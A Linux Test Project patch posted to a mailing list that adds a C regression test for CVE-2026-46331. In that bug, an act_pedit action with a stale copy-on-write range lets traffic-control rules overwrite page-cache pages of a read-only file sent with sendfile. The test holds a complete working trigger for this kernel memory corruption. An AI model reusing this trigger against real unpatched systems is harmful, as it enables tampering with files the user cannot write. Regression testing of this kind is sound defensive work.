[PATCH 2/2] cve: Add act_pedit page-cache corruption test

Andrea Cervesato <[email protected]>
Newsgroups gmane.linux.ltp
Message-ID <[email protected]>
From: Andrea Cervesato <andrea.cervesato-IBi9RG/[email protected]>

Regression test for CVE-2026-46331. The act_pedit
action computed a stale COW range, letting a TCP-typed
key write past it into page-cache pages placed in the
skb by sendfile.

Signed-off-by: Andrea Cervesato <andrea.cervesato-IBi9RG/[email protected]>
---
 runtest/cve                    |   1 +
 testcases/cve/.gitignore       |   1 +
 testcases/cve/cve-2026-46331.c | 273 +++++++++++++++++++++++++++++++++++++++++
 3 files changed, 275 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index cc664bb9302daff9d6c1ce7c79041a8fd4ced840..f51d85552087ea1459e39229cdc22b1031008ea3 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -98,3 +98,4 @@ cve-2026-43284 xfrm01
 cve-2026-43494 io_uring04
 cve-2026-46300 xfrm02
 cve-2026-46300-skb-segment xfrm03
+cve-2026-46331 cve-2026-46331
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index dc1dad5b0d0d02a3ab57e72516c33ee7949c8431..bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -15,3 +15,4 @@ icmp_rate_limit01
 tcindex01
 cve-2025-38236
 cve-2025-21756
+cve-2026-46331
diff --git a/testcases/cve/cve-2026-46331.c b/testcases/cve/cve-2026-46331.c
new file mode 100644
index 0000000000000000000000000000000000000000..e814af93e4404562f4350b2efff9f9ced034a698
--- /dev/null
+++ b/testcases/cve/cve-2026-46331.c
@@ -0,0 +1,273 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato-IBi9RG/[email protected]>
+ */
+
+/*\
+ * Verify that the ``act_pedit`` traffic-control action correctly COW's
+ * all modified regions of an skb before writing, so that page-cache
+ * pages referenced via :manpage:`sendfile(2)` are not corrupted.
+ *
+ * ``tcf_pedit_act()`` computed the COW range for
+ * ``skb_ensure_writable()`` once before the key loop using
+ * ``tcfp_off_max_hint``, but the hint did not account for the runtime
+ * header offset added by typed keys. An egress pedit rule whose first
+ * ``NETWORK`` key inflates the IP header length (IHL 15) pushes
+ * subsequent ``TCP``-typed key writes past the stale COW boundary,
+ * allowing them to scribble directly into page-cache pages that
+ * :manpage:`sendfile(2)` placed in the skb.
+ *
+ * [Algorithm]
+ *
+ * - Create a 4 KiB file with a sequential byte pattern and set its
+ *   permissions to read-only (0444)
+ * - Reopen the file ``O_RDONLY``
+ * - Add a ``clsact`` qdisc on ``lo`` and establish a TCP connection
+ *   on loopback
+ * - After the handshake, install a ``matchall`` egress filter carrying
+ *   a two-key pedit action: key 0 sets IP IHL to 15 (NETWORK type),
+ *   key 1 writes a 4-byte marker at TCP-relative offset 512
+ * - :manpage:`sendfile(2)` the file through the TCP socket so the
+ *   pedit action fires on the page-cache-backed skb
+ * - Reread the file through the same ``O_RDONLY`` descriptor and
+ *   compare with the original pattern; any difference means the
+ *   page cache was corrupted
+ */
+
+#include <sys/sendfile.h>
+#include <linux/rtnetlink.h>
+#include <linux/tc_act/tc_pedit.h>
+
+#include "tst_test.h"
+#include "tst_net.h"
+#include "tst_netdevice.h"
+#include "lapi/if_ether.h"
+#include "lapi/pkt_sched.h"
+#include "lapi/pkt_cls.h"
+#include "lapi/sched.h"
+#include "lapi/tcp.h"
+
+#define TESTFILE	"pagecache_test"
+#define DATA_SIZE	4096
+#define PORT		4445
+
+#define NKEYS		2
+#define IHL_VALUE	0x4fu		/* IP version 4, IHL 15 (max) */
+#define IHL_MASK	0xffffff00u	/* keep TOS / tot_len bytes */
+#define MARKER_OFFSET	512		/* TCP-relative key offset */
+#define MARKER_VALUE	0xccccccccu	/* 4-byte marker written by pedit */
+
+/*
+ * Pedit selector buffer: struct tc_pedit_sel followed by NKEYS keys.
+ * sizeof(struct tc_pedit_sel) does not include the flexible array, so
+ * the trailing keys[] array provides storage for it.
+ */
+static struct {
+	struct tc_pedit_sel sel;
+	struct tc_pedit_key keys[NKEYS];
+} pedit_sel_buf;
+
+/* --- Nested attribute lists for the matchall + pedit filter config --- */
+
+static uint16_t key0_htype = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK;
+static uint16_t key0_cmd   = TCA_PEDIT_KEY_EX_CMD_SET;
+static uint16_t key1_htype = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP;
+static uint16_t key1_cmd   = TCA_PEDIT_KEY_EX_CMD_SET;
+
+static const struct tst_netlink_attr_list key0_ex[] = {
+	{TCA_PEDIT_KEY_EX_HTYPE, &key0_htype, sizeof(key0_htype), NULL},
+	{TCA_PEDIT_KEY_EX_CMD,   &key0_cmd,   sizeof(key0_cmd),   NULL},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list key1_ex[] = {
+	{TCA_PEDIT_KEY_EX_HTYPE, &key1_htype, sizeof(key1_htype), NULL},
+	{TCA_PEDIT_KEY_EX_CMD,   &key1_cmd,   sizeof(key1_cmd),   NULL},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list keys_ex[] = {
+	{TCA_PEDIT_KEY_EX, NULL, 0, key0_ex},
+	{TCA_PEDIT_KEY_EX, NULL, 0, key1_ex},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list pedit_opts[] = {
+	{TCA_PEDIT_PARMS_EX, &pedit_sel_buf, sizeof(pedit_sel_buf), NULL},
+	{TCA_PEDIT_KEYS_EX,  NULL, 0, keys_ex},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list action_entry[] = {
+	{TCA_ACT_KIND,    "pedit", sizeof("pedit"), NULL},
+	{TCA_ACT_OPTIONS, NULL, 0, pedit_opts},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list action_list[] = {
+	{1, NULL, 0, action_entry},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list matchall_opts[] = {
+	{TCA_MATCHALL_ACT, NULL, 0, action_list},
+	{0, NULL, -1, NULL}
+};
+
+static const struct tst_netlink_attr_list filter_config[] = {
+	{TCA_OPTIONS, NULL, 0, matchall_opts},
+	{0, NULL, -1, NULL}
+};
+
+static uint8_t original[DATA_SIZE];
+static int file_fd = -1;
+static int listen_fd = -1;
+static int cli_fd = -1;
+static int acc_fd = -1;
+
+static void setup(void)
+{
+	struct sockaddr_in addr;
+	int i;
+
+	tst_setup_netns();
+	NETDEV_SET_STATE("lo", 1);
+
+	listen_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
+	SAFE_SETSOCKOPT_INT(listen_fd, SOL_SOCKET, SO_REUSEADDR, 1);
+
+	memset(&addr, 0, sizeof(addr));
+	addr.sin_family = AF_INET;
+	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+	addr.sin_port = htons(PORT);
+
+	SAFE_BIND(listen_fd, (struct sockaddr *)&addr, sizeof(addr));
+	SAFE_LISTEN(listen_fd, 1);
+
+	for (i = 0; i < DATA_SIZE; i++)
+		original[i] = (uint8_t)(i & 0xff);
+
+	memset(&pedit_sel_buf, 0, sizeof(pedit_sel_buf));
+	pedit_sel_buf.sel.nkeys = NKEYS;
+	pedit_sel_buf.sel.action = TC_ACT_PIPE;
+
+	/* Key 0: inflate IP IHL to 15 (push TCP header offset to 60) */
+	pedit_sel_buf.keys[0].off  = 0;
+	pedit_sel_buf.keys[0].val  = IHL_VALUE;
+	pedit_sel_buf.keys[0].mask = IHL_MASK;
+
+	/* Key 1: write marker via TCP-typed offset (past stale COW) */
+	pedit_sel_buf.keys[1].off  = MARKER_OFFSET;
+	pedit_sel_buf.keys[1].val  = MARKER_VALUE;
+	pedit_sel_buf.keys[1].mask = 0;
+}
+
+static void run(void)
+{
+	struct sockaddr_in addr;
+	uint8_t readback[DATA_SIZE];
+	off_t off = 0;
+	int wr_fd;
+
+	wr_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
+	SAFE_WRITE(SAFE_WRITE_ALL, wr_fd, original, DATA_SIZE);
+	SAFE_CLOSE(wr_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+
+	/*
+	 * Clean-slate clsact qdisc so no filter is active during the
+	 * TCP handshake (the IHL-inflating key would corrupt SYN/ACK).
+	 */
+	tst_netdev_remove_qdisc(__FILE__, __LINE__, 0,
+				"lo", AF_UNSPEC, TC_H_CLSACT,
+				TC_H_MAKE(TC_H_CLSACT, 0), "clsact");
+	NETDEV_ADD_QDISC("lo", AF_UNSPEC, TC_H_CLSACT,
+			 TC_H_MAKE(TC_H_CLSACT, 0), "clsact", NULL);
+
+	memset(&addr, 0, sizeof(addr));
+	addr.sin_family = AF_INET;
+	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+	addr.sin_port = htons(PORT);
+
+	cli_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
+	SAFE_CONNECT(cli_fd, (struct sockaddr *)&addr, sizeof(addr));
+	acc_fd = SAFE_ACCEPT(listen_fd, NULL, NULL);
+
+	/* Arm the pedit filter AFTER the handshake completes */
+	NETDEV_ADD_TRAFFIC_FILTER("lo",
+				  TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS),
+				  0, ETH_P_ALL, 1, "matchall",
+				  filter_config);
+
+	SAFE_SETSOCKOPT_INT(cli_fd, IPPROTO_TCP, TCP_NODELAY, 1);
+
+	if (sendfile(cli_fd, file_fd, &off, DATA_SIZE) < 0)
+		tst_brk(TBROK | TERRNO, "sendfile() failed");
+
+	/*
+	 * Allow the loopback egress path to finish processing.
+	 * The pedit action fires synchronously on lo, but give
+	 * the stack a moment to drain any queued segments.
+	 */
+	usleep(100000);
+
+	SAFE_CLOSE(cli_fd);
+	SAFE_CLOSE(acc_fd);
+
+	/*
+	 * Read back through the same O_RDONLY fd that sendfile used.
+	 * sendfile with a non-NULL offset does not change the fd's
+	 * file position, so it is still at 0. Keeping the same fd
+	 * guarantees we hit the same page-cache pages.
+	 */
+	SAFE_READ(1, file_fd, readback, sizeof(readback));
+	SAFE_CLOSE(file_fd);
+
+	if (memcmp(readback, original, DATA_SIZE) != 0)
+		tst_res(TFAIL,
+			"Page cache corrupted via act_pedit partial COW bypass");
+	else
+		tst_res(TPASS, "Page cache was not corrupted");
+
+	SAFE_UNLINK(TESTFILE);
+}
+
+static void cleanup(void)
+{
+	if (cli_fd != -1)
+		SAFE_CLOSE(cli_fd);
+
+	if (acc_fd != -1)
+		SAFE_CLOSE(acc_fd);
+
+	if (file_fd != -1)
+		SAFE_CLOSE(file_fd);
+
+	if (listen_fd != -1)
+		SAFE_CLOSE(listen_fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS=y",
+		"CONFIG_NET_NS=y",
+		"CONFIG_NET_SCH_INGRESS",
+		"CONFIG_NET_CLS_MATCHALL",
+		"CONFIG_NET_ACT_PEDIT",
+		NULL
+	},
+	.save_restore = (const struct tst_path_val[]) {
+		{PATH_USER_MAX_USER_NAMESPACES, "1024", TST_SR_SKIP},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "899ee91156e5"},
+		{"CVE", "2026-46331"},
+		{}
+	},
+};

-- 
2.51.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.